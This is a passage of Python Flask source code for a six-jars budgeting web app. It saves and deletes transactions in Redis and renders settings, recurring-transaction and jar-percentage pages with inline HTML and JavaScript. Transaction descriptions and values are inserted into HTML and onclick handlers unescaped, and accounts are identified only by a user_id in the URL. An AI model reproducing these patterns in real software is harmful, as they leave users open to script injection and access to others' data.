style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="feedback" type="button" onclick="feedback('{version_caption}')"> <label class="general-class" for="feedback"> <i class="fa fa-envelope-o" style="color:LIGHTGRAY;"></i>&nbsp {feedback_caption} <i class="fa fa-angle-right" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="back-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {addZero} {general_setting} {jars_setting} {recurring_transaction} {guide} {back} {feedback} {fanpage} </script> """.format(user_id=user_id, setting_style=setting_style, addZero=addZero, general_setting=general_setting, jars_setting=jars_setting, recurring_transaction=recurring_transaction, guide=guide, back=back, feedback=feedback, fanpage=fanpage, title_caption=title_caption, general_setting_caption=general_setting_caption, jar_setting_caption=jar_setting_caption, recurring_transaction_caption=recurring_transaction_caption, guide_caption=guide_caption, fanpage_caption=fanpage_caption, feedback_caption=feedback_caption, back_caption=back_caption, version_caption=version_caption) return begin_html + mid_html + end_html @app.route('/SaveTransactionPage/<user_id>/<transactionType>/<transactionID>/<transactionValue>', methods=['POST']) def SaveTransactionPage(user_id, transactionType, transactionID, transactionValue): if (transactionType == "add"): transactionID = request.form['transactionID'] transactionValue = request.form['transactionValue'].replace("#","&") print "SaveTransactionPage:user_id:"+user_id print "SaveTransactionPage:transactionType:"+transactionType print "SaveTransactionPage:transactionID:"+transactionID if (transactionType == "repeat"): #string already encoded oto utf-8, no need to encode print "SaveTransactionPage:transactionValue:"+transactionValue else: print "SaveTransactionPage:transactionValue:"+transactionValue.encode('utf-8') value = transactionValue.split('-') transaction_type = value[0] transaction_jar = value[1] transaction_repeat = value[2] transaction_desc = value[3] transaction_id_nec = transactionID + '-' + NEC transaction_id_edu = transactionID + '-' + EDU transaction_id_lts = transactionID + '-' + LTS transaction_id_ply = transactionID + '-' + PLY transaction_id_ffa = transactionID + '-' + FFA transaction_id_giv = transactionID + '-' + GIV break_out = False user_dict = r.hmget(user_id, 'nec_pct', 'edu_pct', 'lts_pct', 'ply_pct', 'ffa_pct', 'giv_pct', 'income_amt', 'expense_amt', 'currency', 'nec_income', 'edu_income', 'lts_income', 'ply_income', 'ffa_income', 'giv_income', 'nec_expense', 'edu_expense', 'lts_expense', 'ply_expense', 'ffa_expense', 'giv_expense') nec_pct = int(float(user_dict[0])) edu_pct = int(float(user_dict[1])) lts_pct = int(float(user_dict[2])) ply_pct = int(float(user_dict[3])) ffa_pct = int(float(user_dict[4])) giv_pct = int(float(user_dict[5])) if (transactionType == "delete"): transaction_amount = int(float(value[4])) * (-1) else: transaction_amount = int(float(value[4])) nec_income = int(float(user_dict[9])) edu_income = int(float(user_dict[10])) lts_income = int(float(user_dict[11])) ply_income = int(float(user_dict[12])) ffa_income = int(float(user_dict[13])) giv_income = int(float(user_dict[14])) nec_expense = int(float(user_dict[15])) edu_expense = int(float(user_dict[16])) lts_expense = int(float(user_dict[17])) ply_expense = int(float(user_dict[18])) ffa_expense = int(float(user_dict[19])) giv_expense = int(float(user_dict[20])) income_amt = int(float(user_dict[6])) expense_amt = int(float(user_dict[7])) nec_value = int(transaction_amount*nec_pct/100) edu_value = int(transaction_amount*edu_pct/100) lts_value = int(transaction_amount*lts_pct/100) ply_value = int(transaction_amount*ply_pct/100) ffa_value = int(transaction_amount*ffa_pct/100) giv_value = int(transaction_amount*giv_pct/100) if (transaction_type == TRANSACTION_TYPE_EXPENSE): expense_amt = expense_amt + transaction_amount if (transaction_jar == NEC): nec_expense = nec_expense + transaction_amount if (transaction_jar == EDU): edu_expense = edu_expense + transaction_amount if (transaction_jar == LTS): lts_expense = lts_expense + transaction_amount if (transaction_jar == PLY): ply_expense = ply_expense + transaction_amount if (transaction_jar == FFA): ffa_expense = ffa_expense + transaction_amount if (transaction_jar == GIV): giv_expense = giv_expense + transaction_amount else: income_amt = income_amt + transaction_amount if (transaction_jar == ALL): transaction_value_nec = transaction_type + '-' + NEC + '-' + transaction_repeat + '-' + transaction_desc + '-' + str(nec_value) transaction_value_edu = transaction_type + '-' + EDU + '-' + transaction_repeat + '-' + transaction_desc + '-' + str(edu_value) transaction_value_lts = transaction_type + '-' + LTS + '-' + transaction_repeat + '-' + transaction_desc + '-' + str(lts_value) transaction_value_ply = transaction_type + '-' + PLY + '-' + transaction_repeat + '-' + transaction_desc + '-' + str(ply_value) transaction_value_ffa = transaction_type + '-' + FFA + '-' + transaction_repeat + '-' + transaction_desc + '-' + str(ffa_value) transaction_value_giv = transaction_type + '-' + GIV + '-' + transaction_repeat + '-' + transaction_desc + '-' + str(giv_value) nec_income = nec_income + nec_value edu_income = edu_income + edu_value lts_income = lts_income + lts_value ply_income = ply_income + ply_value ffa_income = ffa_income + ffa_value giv_income = giv_income + giv_value break_out = True if (transaction_jar == NEC): nec_income = nec_income + transaction_amount if (transaction_jar == EDU): edu_income = edu_income + transaction_amount if (transaction_jar == LTS): lts_income = lts_income + transaction_amount if (transaction_jar == PLY): ply_income = ply_income + transaction_amount if (transaction_jar == FFA): ffa_income = ffa_income + transaction_amount if (transaction_jar == GIV): giv_income = giv_income + transaction_amount if (transactionType == "recurring-delete"): r.hdel(user_id, transactionID) elif (transactionType == "delete"): # delete single transaction r.hdel(user_id, transactionID) # delete break-out transaction if (transaction_jar == ALL): r.hdel(user_id, transaction_id_nec) r.hdel(user_id, transaction_id_edu) r.hdel(user_id, transaction_id_lts) r.hdel(user_id, transaction_id_ply) r.hdel(user_id, transaction_id_ffa) r.hdel(user_id, transaction_id_giv) # delete recurring transaction if (transaction_repeat != ONCE): key = transactionID.split('-') transaction_date = transactionDate = datetime.date(int(key[0]), int(key[1]), int(key[2])) if (transaction_repeat == DAILY): transactionDate = transactionDate + datedelta.datedelta(days=1) if (transaction_repeat == WEEKLY): transactionDate = transactionDate + datedelta.datedelta(days=7) if (transaction_repeat == MONTHLY): transactionDate = transactionDate + datedelta.datedelta(months=1) if (transaction_repeat == ANNUALLY): transactionDate = transactionDate + datedelta.datedelta(years=1) transaction_id = transactionID.replace(str(transaction_date),str(transactionDate)) r.hdel(user_id, transaction_id+'-repeat') # re-calculate amount after deleting transaction r.hmset(user_id,{ 'income_amt':income_amt, 'expense_amt':expense_amt, 'nec_income':nec_income, 'edu_income':edu_income, 'lts_income':lts_income, 'ply_income':ply_income, 'ffa_income':ffa_income, 'giv_income':giv_income, 'nec_expense':nec_expense, 'edu_expense':edu_expense, 'lts_expense':lts_expense, 'ply_expense':ply_expense, 'ffa_expense':ffa_expense, 'giv_expense':giv_expense }) # add and update else: if (transactionType == 'recurring-update'): r.hset(user_id, transactionID, transactionValue) # add, update, repeat else: r.hmset(user_id,{ 'income_amt':income_amt, 'expense_amt':expense_amt, 'nec_income':nec_income, 'edu_income':edu_income, 'lts_income':lts_income, 'ply_income':ply_income, 'ffa_income':ffa_income, 'giv_income':giv_income, 'nec_expense':nec_expense, 'edu_expense':edu_expense, 'lts_expense':lts_expense, 'ply_expense':ply_expense, 'ffa_expense':ffa_expense, 'giv_expense':giv_expense, transactionID:transactionValue }) if ((transaction_repeat != ONCE) and (transactionType != 'repeat')): key = transactionID.split('-') transaction_date = transactionDate = datetime.date(int(key[0]), int(key[1]), int(key[2])) if (transaction_repeat == DAILY): transactionDate = transactionDate + datedelta.datedelta(days=1) if (transaction_repeat == WEEKLY): transactionDate = transactionDate + datedelta.datedelta(days=7) if (transaction_repeat == MONTHLY): transactionDate = transactionDate + datedelta.datedelta(months=1) if (transaction_repeat == ANNUALLY): transactionDate = transactionDate + datedelta.datedelta(years=1) transaction_id = transactionID.replace(str(transaction_date),str(transactionDate)) r.hset(user_id, transaction_id+'-repeat',transactionValue) if (break_out): r.hmset(user_id,{ transaction_id_nec:transaction_value_nec, transaction_id_edu:transaction_value_edu, transaction_id_lts:transaction_value_lts, transaction_id_ply:transaction_value_ply, transaction_id_ffa:transaction_value_ffa, transaction_id_giv:transaction_value_giv }) return "" @app.route('/DeleteTransactionPage/<user_id>/<transactionType>/<transactionID>/<transactionValue>/<jarOption>/<date>', methods=['POST']) def DeleteTransactionPage(user_id, transactionType, transactionID, transactionValue, jarOption, date): if (transactionType == 'delete'): transactionID = request.form['transactionID'] transactionValue = request.form['transactionValue'].replace("#","&") jarOption = request.form['jarOption'] date = request.form['date'] elif (transactionType == 'recurring-delete'): transactionID = request.form['transactionID'] transactionValue = request.form['transactionValue'].replace("#","&") print "DeleteTransactionPage:user_id:"+user_id print "DeleteTransactionPage:transactionType:"+transactionType print "DeleteTransactionPage:transactionID:"+transactionID print "DeleteTransactionPage:transactionValue:"+transactionValue.encode('utf-8') print "DeleteTransactionPage:jarOption:"+jarOption print "DeleteTransactionPage:date:"+date if ((transactionType == 'recurring-delete') or (transactionType == 'recurring-update')): SaveTransactionPage(user_id, 'recurring-delete', transactionID, transactionValue) else: SaveTransactionPage(user_id, 'delete', transactionID, transactionValue) if (transactionType == "delete"): return HistoryPage(user_id, jarOption, date) elif (transactionType == "recurring-delete"): return RecurringTransactionPage(user_id) else: return "" @app.route('/UpdateTransactionPage/<user_id>', methods=['POST']) def UpdateTransactionPage(user_id): transactionType = request.form['transactionType'] oldTransactionID = request.form['oldTransactionID'] oldTransactionValue = request.form['oldTransactionValue'].replace("#","&") newTransactionID = request.form['newTransactionID'] newTransactionValue = request.form['newTransactionValue'].replace("#","&") jarOption = request.form['jarOption'] date = request.form['date'] print "UpdateTransactionPage:user_id:"+user_id print "UpdateTransactionPage:transactionType:"+transactionType print "UpdateTransactionPage:oldTransactionID:"+oldTransactionID print "UpdateTransactionPage:oldTransactionValue:"+oldTransactionValue.encode('utf-8') print "UpdateTransactionPage:newTransactionID:"+newTransactionID print "UpdateTransactionPage:newTransactionValue:"+newTransactionValue.encode('utf-8') DeleteTransactionPage(user_id, transactionType, oldTransactionID, oldTransactionValue, jarOption, date) SaveTransactionPage(user_id, transactionType, newTransactionID, newTransactionValue) if (transactionType == "update"): return HistoryPage(user_id, jarOption, date) else: return RecurringTransactionPage(user_id) @app.route('/RecurringTransactionPage/<user_id>', methods=['POST']) def RecurringTransactionPage(user_id): print "RecurringTransactionPage:user_id:"+user_id table_begin = """ <table> """ table_end = """ </table> """ table_body = "" user_dict = r.hmget(user_id, 'currency', 'language') currency = user_dict[0] language = user_dict[1] #load language json file with open('static/language.json') as f: language_data = json.load(f) #load currency json file with open('static/currency.json') as f: currency_data = json.load(f) title_caption=language_data[language]['recurring_transaction_page']['title_caption'].encode('utf-8') all_caption=language_data[language]['history_page']['all_caption'].encode('utf-8') nec_caption=language_data[language]['history_page']['nec_caption'].encode('utf-8') edu_caption=language_data[language]['history_page']['edu_caption'].encode('utf-8') lts_caption=language_data[language]['history_page']['lts_caption'].encode('utf-8') ply_caption=language_data[language]['history_page']['ply_caption'].encode('utf-8') ffa_caption=language_data[language]['history_page']['ffa_caption'].encode('utf-8') giv_caption=language_data[language]['history_page']['giv_caption'].encode('utf-8') back_caption=language_data[language]['recurring_transaction_page']['back_caption'].encode('utf-8') for i in range(0,len(currency_data['currency'])): currency_code = currency_data['currency'][i]['currency_code'] if (currency == currency_code): currency_sign = currency_data['currency'][i]['currency_sign'] break for key in sorted(r.hscan_iter(user_id, match='*repeat'), reverse=False): transactionID = key[0] transactionValue = key[1].replace("&","#") key0 = key[0].split('-') key1 = key[1].split('-') year = key0[0] month = key0[1] day = key0[2] transactionType = key1[0] jar = key1[1] repeat = key1[2] description = key1[3] editTransaction_function = """ editTransaction('{user_id}','recurring-update','{transactionID}','{transactionValue}') """.format(user_id=user_id, transactionID=transactionID, transactionValue=transactionValue) deleteTransaction_function = """ deleteTransaction('{user_id}','recurring-delete','{transactionID}','{transactionValue}') """.format(user_id=user_id, transactionID=transactionID, transactionValue=transactionValue) amount = "{:,}".format(int(float(key1[4]))) if (jar == ALL): jar_caption = all_caption if (jar == NEC): jar_caption = nec_caption if (jar == EDU): jar_caption = edu_caption if (jar == LTS): jar_caption = lts_caption if (jar == PLY): jar_caption = ply_caption if (jar == FFA): jar_caption = ffa_caption if (jar == GIV): jar_caption = giv_caption if (transactionType == "Income"): sign_symbol = """<i class="fa fa-plus" style="color:LIME"></i>""" color = "color:LIME" sign = "+" else: sign_symbol = """<i class="fa fa-minus" style="color:TOMATO"></i>""" color = "color:white" sign = "-" if (repeat != ONCE): repeat_symbol = """<i class="fa fa-refresh" style="color:TURQUOISE"></i>""" else: repeat_symbol = "<br>" date = day+'/'+month+'/'+year table_body = table_body + """ <tr style="cursor:pointer;"> <td>{sign_symbol}<br>{repeat_symbol}</td> <td id="cel1" onclick="{editTransaction_function}"><span style="color:white">{jar_caption}</span><br><span style="font-size:small; font-weight:300; color:LIGHTGRAY">{description}</span></td> <td id="cel2" onclick="{editTransaction_function}" style="padding-right:5px; text-align:right; {color}">{sign}{amount} {currency_sign}<br><span style="font-size:small; font-weight:300; color:LIGHTGRAY">{date}</span></td> <td id="cel3" style="text-align:right; color:white" onclick="{deleteTransaction_function}"><i class="fa fa-trash-o"></i></td> </tr> """.format(sign_symbol=sign_symbol, repeat_symbol=repeat_symbol, jar_caption=jar_caption, description=description, sign=sign, amount=amount, date=date, color=color, editTransaction_function=editTransaction_function, deleteTransaction_function=deleteTransaction_function, currency_sign=currency_sign) table = table_begin + table_body + table_end deleteTransaction = """ function deleteTransaction(user_id, transactionType, transactionID, transactionValue) { if (confirm("Are you sure to delete this transaction ?")) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/DeleteTransactionPage/'+ user_id + '/recurring-delete/transactionID/transactionValue/jarOption/date', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("transactionType="+transactionType+"&transactionID="+transactionID+"&transactionValue="+transactionValue); } } """ editTransaction = """ function editTransaction(user_id, transactionType, transactionID, transactionValue) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/TransactionPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("transactionType="+transactionType+"&transactionID="+transactionID+"&transactionValue="+transactionValue+ "&jarOption=jarOption"+"&date=date"); }; """ back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=RecurringTransactionPage'); }; """ begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" history_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } table { width: 100%; } td { border-bottom: 1px solid DARKSLATEGRAY; padding-top:10px; padding-bottom:10px; } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .balance-label-class { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 6px 0px; width: 100%; height: 100px; } .income-expense-label { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 6px 0px; width: 100%; height: 70px; } .minus-button-label { color: TURQUOISE; cursor: pointer; display: block; text-align: center; } .minus-button-label:active { color: LIGHTGRAY; } .progress-class { background-color:LIGHTGRAY; height:3px; width:100%; } """ mid_html = """ <style> /*------ history style ---------*/ {history_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="history-table-class" id="history-table" style="height:calc(100vh - 165px); min-height:465px; overflow:auto; -webkit-overflow-scrolling: touch"> {table} </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {back} {editTransaction} {deleteTransaction} </script> """.format(user_id=user_id, history_style=history_style, table=table, back=back, editTransaction=editTransaction, deleteTransaction=deleteTransaction, title_caption=title_caption, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/JarSettingPage/<user_id>', methods=['POST']) def JarSettingPage(user_id): print "JarSettingPage:user_id:"+user_id user_dict = r.hmget(user_id, 'nec_pct', 'edu_pct', 'lts_pct', 'ply_pct', 'ffa_pct', 'giv_pct', 'language') language = user_dict[6] #load language json file with open('static/language.json') as f: language_data = json.load(f) title_caption=language_data[language]['jar_setting_page']['title_caption'].encode('utf-8') total_caption=language_data[language]['jar_setting_page']['total_caption'].encode('utf-8') nec_caption=language_data[language]['jar_setting_page']['nec_caption'].encode('utf-8') edu_caption=language_data[language]['jar_setting_page']['edu_caption'].encode('utf-8') lts_caption=language_data[language]['jar_setting_page']['lts_caption'].encode('utf-8') ply_caption=language_data[language]['jar_setting_page']['ply_caption'].encode('utf-8') ffa_caption=language_data[language]['jar_setting_page']['ffa_caption'].encode('utf-8') giv_caption=language_data[language]['jar_setting_page']['giv_caption'].encode('utf-8') save_caption=language_data[language]['jar_setting_page']['save_caption'].encode('utf-8') back_caption=language_data[language]['jar_setting_page']['back_caption'].encode('utf-8') nec_pct = int(user_dict[0]) edu_pct = int(user_dict[1]) lts_pct = int(user_dict[2]) ply_pct = int(user_dict[3]) ffa_pct = int(user_dict[4]) giv_pct = int(user_dict[5]) total_pct = nec_pct + edu_pct + lts_pct + ply_pct + ffa_pct + giv_pct pie_chart = """ var nec_pct = document.getElementById("nec_pct").value; var edu_pct = document.getElementById("edu_pct").value; var lts_pct = document.getElementById("lts_pct").value; var ply_pct = document.getElementById("ply_pct").value; var ffa_pct = document.getElementById("ffa_pct").value; var giv_pct = document.getElementById("giv_pct").value; var nec_jar = document.getElementById("nec-jar").innerHTML; var edu_jar = document.getElementById("edu-jar").innerHTML; var lts_jar = document.getElementById("lts-jar").innerHTML; var ply_jar = document.getElementById("ply-jar").innerHTML; var ffa_jar = document.getElementById("ffa-jar").innerHTML; var giv_jar = document.getElementById("giv-jar").innerHTML; Chart.defaults.global.defaultFontColor = "white"; var color = Chart.helpers.color; window.chartColors = { crimson: 'rgb(220, 20, 60)', dodgerblue: 'rgb(30, 144, 255)', orange: 'rgb(255, 165, 0)', orchid: 'rgb(218, 112, 214)', lime: 'rgb(0, 255, 0)', hotpink: 'rgb(255, 105, 180)' }; var pieChartData = { labels: [nec_jar, edu_jar, lts_jar, ply_jar, ffa_jar, giv_jar], datasets: [{ borderWidth:1, data: [nec_pct, edu_pct, lts_pct, ply_pct, ffa_pct, giv_pct], backgroundColor:[ window.chartColors.crimson, window.chartColors.dodgerblue, window.chartColors.orange, window.chartColors.orchid, window.chartColors.lime, window.chartColors.hotpink ] }] }; var ctx = document.getElementById('myChart'); new Chart(ctx, { type: 'doughnut', data: pieChartData, options: { maintainAspectRatio: false, responsive: true, legend: { display: false } } }); """ jarPercentageChange = """ function jarPercentageChange(jar, change) { var jarPct = ""; switch(jar) { case 'Necessities': jarPct = document.getElementById("nec-pct"); break; case 'Education': jarPct = document.getElementById("edu-pct"); break; case 'Saving': jarPct = document.getElementById("lts-pct"); break; case 'Play': jarPct = document.getElementById("ply-pct"); break; case 'Investment': jarPct = document.getElementById("ffa-pct"); break; case 'Give': jarPct = document.getElementById("giv-pct"); break; } var jar_pct = parseInt(jarPct.innerHTML); var totalPct = document.getElementById("total-pct"); var total_pct = parseInt(totalPct.innerHTML); if (change == 'decrease') { if (jar_pct > 0) { jar_pct--; total_pct--; } } else { if (jar_pct < 100) { jar_pct++; total_pct++; } } jarPct.innerHTML = jar_pct + "%"; if (total_pct != 100) { totalPct.style.color="TOMATO"; } else { totalPct.style.color="WHITE"; } totalPct.innerHTML = total_pct + "%"; } """ back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=JarSettingPage'); }; """ save = """ function save(user_id) { var nec_pct = parseInt(document.getElementById("nec-pct").innerHTML); var edu_pct = parseInt(document.getElementById("edu-pct").innerHTML); var lts_pct = parseInt(document.getElementById("lts-pct").innerHTML); var ply_pct = parseInt(document.getElementById("ply-pct").innerHTML); var ffa_pct = parseInt(document.getElementById("ffa-pct").innerHTML); var giv_pct = parseInt(document.getElementById("giv-pct").innerHTML); var msg = document.getElementById('msg-label'); total_pct = nec_pct+edu_pct+lts_pct+ply_pct+ffa_pct+giv_pct; if (total_pct != 100) { msg.style.color="gold"; msg.style.display="block"; return; } var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SaveJarSettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { back(user_id); }; xhr.send("nec_pct="+nec_pct+"&edu_pct="+edu_pct+"&lts_pct="+lts_pct +"&ply_pct="+ply_pct+"&ffa_pct="+ffa_pct+"&giv_pct="+giv_pct); }; """ begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.3/Chart.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/emn178/chartjs-plugin-labels/src/chartjs-plugin-labels.js"></script> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" report_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .report-class { position: relative; width:100%; height:210px; } .sixjars-label-class { display: block; color: LIGHTGRAY; width: 100%; height: 35px; font-weight:400; padding: 6px 0px; } .menu-button-label { position: absolute; color: LIGHTGRAY; cursor: pointer; } .menu-button-label:active { color: TURQUOISE; } .pecentage-class { border-radius: 5px; position: absolute; top:2px; right: 45px; padding-top:3px; text-align:center; width:40px; height:25px; background-color:SLATEGRAY; color:LIME; } """ mid_html = """ <style> /*------ history style ---------*/ {report_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="report-class"> <canvas id="myChart" style="width:100%; height:100%"></canvas> <li id="nec_pct" value="{nec_pct}" style="display:none"></li> <li id="edu_pct" value="{edu_pct}" style="display:none"></li> <li id="lts_pct" value="{lts_pct}" style="display:none"></li> <li id="ply_pct" value="{ply_pct}" style="display:none"></li> <li id="ffa_pct" value="{ffa_pct}" style="display:none"></li> <li id="giv_pct" value="{giv_pct}" style="display:none"></li> <label style="position:absolute; color:white; font-weight:400; top:195px; right:5px">{total_caption} &nbsp<span id="total-pct">{total_pct}%</span></label> </div> <p></p> <div class="sixjars-class" style="background-color:DARKSLATEGRAY"> <input id="nec-inc-submit" type="button" onclick="jarPercentageChange('Necessities','increase')"> <input id="nec-dec-submit" type="button" onclick="jarPercentageChange('Necessities','decrease')"> <input id="edu-inc-submit" type="button" onclick="jarPercentageChange('Education','increase')"> <input id="edu-dec-submit" type="button" onclick="jarPercentageChange('Education','decrease')"> <input id="lts-inc-submit" type="button" onclick="jarPercentageChange('Saving','increase')"> <input id="lts-dec-submit" type="button" onclick="jarPercentageChange('Saving','decrease')"> <input id="ply-inc-submit" type="button" onclick="jarPercentageChange('Play','increase')"> <input id="ply-dec-submit" type="button" 